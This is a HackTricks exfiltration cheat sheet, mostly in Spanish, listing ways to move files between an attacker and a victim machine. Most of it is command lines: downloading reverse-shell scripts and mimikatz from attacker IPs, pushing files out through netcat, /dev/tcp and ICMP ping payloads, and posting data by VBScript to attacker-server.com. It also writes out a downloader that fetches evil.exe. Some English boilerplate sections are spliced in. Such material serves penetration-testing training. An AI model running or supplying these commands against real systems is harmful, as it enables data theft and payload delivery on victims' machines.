hacktricks/generic-methodologies-and-resources/exfiltration.md

16 KiB

Exfiltración

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Grupo de Seguridad Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}


Dominios comúnmente permitidos para exfiltrar información

Consulta https://lots-project.com/ para encontrar dominios comúnmente permitidos que pueden ser abusados

Copiar y Pegar Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Subir archivos

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Servidor HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Servidor FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Servidor FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Servidor FTP (pure-ftp)

apt-get update && apt-get install pure-ftp
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Cliente Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali como servidor

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

O crear un recurso compartido smb utilizando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows


Exfiltration

Techniques

  1. Exfiltration Over Command and Control Channel: Data exfiltration can be achieved by sending the data over the command and control channel used by the malware.

  2. Exfiltration Over Alternative Protocol: Data can be exfiltrated using alternative protocols such as DNS, ICMP, or HTTPS to bypass network security controls.

  3. Exfiltration Over Unencrypted Protocols: Data exfiltration can be done over unencrypted protocols like HTTP or FTP.

  4. Exfiltration Over Encrypted Protocols: Data can be exfiltrated over encrypted protocols like HTTPS or SSH to avoid detection.

Tools

  1. Netcat: Netcat can be used for exfiltration by creating a reverse shell to send data to an external server.

  2. PowerShell: PowerShell can be used to encode data and send it over HTTP or HTTPS protocols.

  3. Certutil: Certutil can be used to encode data and transfer it over the network.

  4. Bitsadmin: Bitsadmin can be used to download and upload files over HTTP or HTTPS.

  5. FTP: FTP can be used to exfiltrate data over the FTP protocol.

  6. WMI: Windows Management Instrumentation (WMI) can be used to interact with and transfer data between Windows systems.

Countermeasures

  1. Network Monitoring: Monitor network traffic for any unusual patterns or data leaving the network.

  2. Application Whitelisting: Whitelist applications to prevent unauthorized tools from being used for exfiltration.

  3. Encryption: Encrypt data to prevent unauthorized access during exfiltration.

  4. Endpoint Detection and Response (EDR): Use EDR solutions to detect and respond to exfiltration attempts.

  5. User Training: Educate users about the risks of data exfiltration and how to identify suspicious activities.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

El atacante debe tener SSHd en ejecución.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Si la víctima tiene SSH, el atacante puede montar un directorio desde la víctima hacia el atacante.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Description

The nc command, also known as Netcat, is a versatile networking tool that can be used for various purposes during a penetration test. It can create connections to different ports, listen for incoming connections, transfer files, and more. Netcat is commonly used for exfiltration due to its simplicity and effectiveness.

Usage

To establish a connection to a remote host and port:

nc <remote_host> <port>

To listen on a specific port for incoming connections:

nc -l -p <port>

To transfer a file from one host to another:

On the receiving end:

nc -l -p <port> > received_file

On the sending end:

nc <remote_host> <port> < file_to_send

Example

Transferring a file from one host to another:

On the receiving end:

nc -l -p 1234 > received_file

On the sending end:

nc 192.168.1.10 1234 < file_to_send
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Descargar archivo desde la víctima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Subir archivo a la víctima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Gracias a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación)

En Kali, iniciar el servidor TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Servidor TFTP en python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

En víctima, conectarse al servidor Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Descarga un archivo con un PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Exfiltration

VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an attacker-controlled server. This can be achieved by creating an HTTP request object, setting the request method and target URL, and sending the data in the request body. The following code snippet demonstrates a simple exfiltration technique using VBScript:

Dim objHTTP
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objHTTP.Open "POST", "http://attacker-server.com/data", False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=exfiltrated_data"

In this example, the script creates an HTTP POST request to "http://attacker-server.com/data" with the data "exfiltrated_data" in the request body. The attacker can then receive and process the exfiltrated data on their server.

Detection and Prevention

To detect and prevent VBScript exfiltration techniques, network monitoring and endpoint security solutions can be used to identify suspicious HTTP requests originating from systems within the network. Additionally, restricting the execution of VBScript on endpoints can help prevent unauthorized exfiltration of data.

Attacker> python -m SimpleHTTPServer 80

Víctima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

El programa debug.exe no solo permite la inspección de binarios, sino que también tiene la capacidad de reconstruirlos a partir de hexadecimal. Esto significa que al proporcionar un hexadecimal de un binario, debug.exe puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una limitación de ensamblaje de archivos de hasta 64 kb de tamaño.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

DNS

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: